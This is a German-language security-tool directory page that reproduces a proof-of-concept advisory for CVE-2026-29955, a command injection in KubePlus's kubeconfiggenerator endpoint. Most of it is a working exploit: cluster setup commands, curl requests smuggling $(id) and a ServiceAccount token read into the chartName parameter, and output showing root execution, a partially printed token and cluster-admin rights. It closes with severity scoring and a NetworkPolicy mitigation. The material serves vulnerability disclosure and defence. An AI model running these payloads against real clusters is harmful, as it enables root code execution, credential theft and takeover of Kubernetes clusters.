Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-29955 — Proof-of-Concept für CVE-2026-29955, eine Command-Injection-Schwachstelle im KubePlus kubeconfiggenerator, die Remote-Codeausführung und den Diebstahl von ServiceAccount-Tokens in Kubernetes-Clustern ermöglicht. | Kitploit
Tools/GitHubGitHub/b0b0haha/cve-2026-29955
Container-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCloud-Sicherheit
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

Proof-of-Concept für CVE-2026-29955, eine Command-Injection-Schwachstelle im KubePlus kubeconfiggenerator, die Remote-Codeausführung und den Diebstahl von ServiceAccount-Tokens in Kubernetes-Clustern ermöglicht.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

KubePlus KubeconfigGenerator Command Injection Schwachstelle

Diese Schwachstelle existiert in der kubeconfiggenerator-Komponente von KubePlus und ermöglicht es Angreifern mit Zugriff auf die HTTP-Schnittstelle, über den Parameter chartName Shell-Befehle einzuschleusen, beliebigen Code als Root innerhalb des Containers auszuführen und ServiceAccount-Tokens mit Cluster-Admin-Berechtigungen zu stehlen. Empfohlene CWE-Klassifizierung: CWE-78 (OS Command Injection).

Zusammenfassung

Der Endpunkt /registercrd in der kubeconfiggenerator-Komponente von KubePlus ist anfällig für Command Injection. Die Komponente verwendet subprocess.Popen() mit dem Parameter shell=True, um Shell-Befehle auszuführen, und der vom Benutzer bereitgestellte Parameter chartName wird ohne jegliche Bereinigung oder Validierung direkt in die Befehlszeichenfolge eingefügt. Ein Angreifer kann beliebige Shell-Befehle einschleusen, indem er einen bösartigen Wert für den Parameter chartName erstellt.

Details

Grundursache

Bei der Verarbeitung von CRD-Registrierungsanfragen lädt die kubeconfiggenerator-Komponente Helm-Charts herunter und extrahiert sie. In der Funktion download_and_untar_chart() wird der Parameter chartName direkt in Shell-Befehle eingefügt:

Datei: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

Datei: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

Datei: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

Aufgrund des Parameters shell=True können Angreifer die Shell-Befehlssubstitutionssyntax $(command) verwenden, um beliebige Befehle einzuschleusen.

Angriffsvektor

Durch das Senden einer HTTP-Anfrage an den Endpunkt /registercrd mit einem bösartigen Parameter chartName kann ein Angreifer beliebige Befehle innerhalb des kubeconfiggenerator-Containers ausführen. Da der Container als Root läuft und sein ServiceAccount Cluster-Admin-Berechtigungen besitzt, kann der Angreifer:

  1. Beliebige Systembefehle ausführen
  2. Sensible Dateien innerhalb des Containers lesen
  3. ServiceAccount-Tokens stehlen
  4. Gestohlene Tokens verwenden, um auf die Kubernetes-API zuzugreifen

PoC

Umgebungseinrichtung

1. Kind-Cluster erstellen

root@kitploit:~
# Kind-Cluster-Konfiguration erstellen
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# Cluster erstellen
kind create cluster --config kind-config.yaml

# Cluster überprüfen
kubectl cluster-info
kubectl get nodes

Erwartete Ausgabe:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. KubePlus installieren

root@kitploit:~
# Arbeitsverzeichnis erstellen
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# KubePlus-Plugins herunterladen
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# provider-kubeconfig-Skript herunterladen
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Python-Umgebung einrichten
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# API-Server-Adresse abrufen
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# Provider-Kubeconfig erstellen
python3 provider-kubeconfig.py -s $apiserver create default

Erwartete Ausgabe:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. KubePlus per Helm installieren

root@kitploit:~
# KubePlus-Helm-Chart herunterladen
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# KubePlus installieren
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Warten, bis die Pods bereit sind
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# Installation überprüfen
kubectl get pods -n default -l app=kubeplus

Erwartete Ausgabe:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. Port-Weiterleitung einrichten

root@kitploit:~
# Pod-Namen abrufen
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# Port-Weiterleitung einrichten
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# Überprüfen, ob der Dienst erreichbar ist
curl -s http://localhost:5005/hello

Erwartete Ausgabe:

root@kitploit:~
hello world

Ausführungsschritte

Schritt 1: Command Injection ausführen (id-Befehl)

Senden Sie eine Anfrage mit einem bösartigen Parameter chartName:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

Schritt 2: Befehlsausführung überprüfen

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

Tatsächliche Verifizierungsausgabe:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Schritt 3: ServiceAccount-Token stehlen

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

Schritt 4: Gestohlenes Token extrahieren

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

Tatsächliche Verifizierungsausgabe:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

Schritt 5: Token-Berechtigungen überprüfen

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

Tatsächliche Verifizierungsausgabe:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

Server-seitige Protokollnachweise

Die Protokolle des kubeconfiggenerator-Containers zeigen die ausgeführte Command Injection:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

Auswirkungen

Diese Schwachstelle ermöglicht einem Angreifer:

  1. Remote Code Execution: Ausführung beliebiger Befehle als Root innerhalb des kubeconfiggenerator-Containers
  2. Credential-Diebstahl: Stehlen von ServiceAccount-Tokens mit Cluster-Admin-Berechtigungen (*.*)
  3. Cluster-Übernahme: Verwendung gestohlener Tokens zur Durchführung beliebiger Kubernetes-API-Operationen, einschließlich Erstellen/Löschen von Pods, Lesen von Secrets, Ändern von RBAC-Konfigurationen usw.
  4. Laterale Bewegung: Zugriff auf Ressourcen in jedem Namespace innerhalb des Clusters

Voraussetzungen

  • Der Angreifer benötigt Zugriff auf die HTTP-Schnittstelle des kubeconfighelper-Dienstes (Port 5005)
  • Der Dienst ist standardmäßig innerhalb des Clusters erreichbar

Schweregrad

CVSS v3.1-Score: 8.8 (Hoch)

Vektor: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Angriffsvektor (AV): Netzwerk
  • Angriffskomplexität (AC): Niedrig
  • Erforderliche Berechtigungen (PR): Niedrig (erfordert Zugriff auf den kubeconfighelper-Dienst)
  • Benutzerinteraktion (UI): Keine
  • Auswirkungsbereich (S): Unverändert
  • Vertraulichkeit (C): Hoch (kann ServiceAccount-Token stehlen)
  • Integrität (I): Hoch (kann beliebige Befehle ausführen)
  • Verfügbarkeit (A): Hoch (kann die Dienstverfügbarkeit beeinträchtigen)

Betroffene Versionen

  • KubePlus v4.2.0 und frühere Versionen
  • Alle Versionen, die shell=True für die Befehlsausführung verwenden

Gepatchte Versionen

Noch keine gepatchte Version verfügbar.

Umgehungsmaßnahmen

  1. Netzwerk-Isolation: Verwenden Sie NetworkPolicy, um den Zugriff auf den kubeconfighelper-Dienst einzuschränken
  2. RBAC-Einschränkung: Reduzieren Sie die Berechtigungen des kubeplus-saas-provider-ServiceAccounts
  3. Überwachung: Überwachen Sie ungewöhnliche Befehlsausführungen im kubeconfiggenerator-Container
root@kitploit:~
# NetworkPolicy-Beispiel
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

Referenzen

  • CWE-78: Unsachgemäße Neutralisierung spezieller Elemente, die in einem OS-Befehl verwendet werden ('OS Command Injection')
  • OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
  • Python-subprocess-Sicherheit: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Credits

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

Tool herunterladen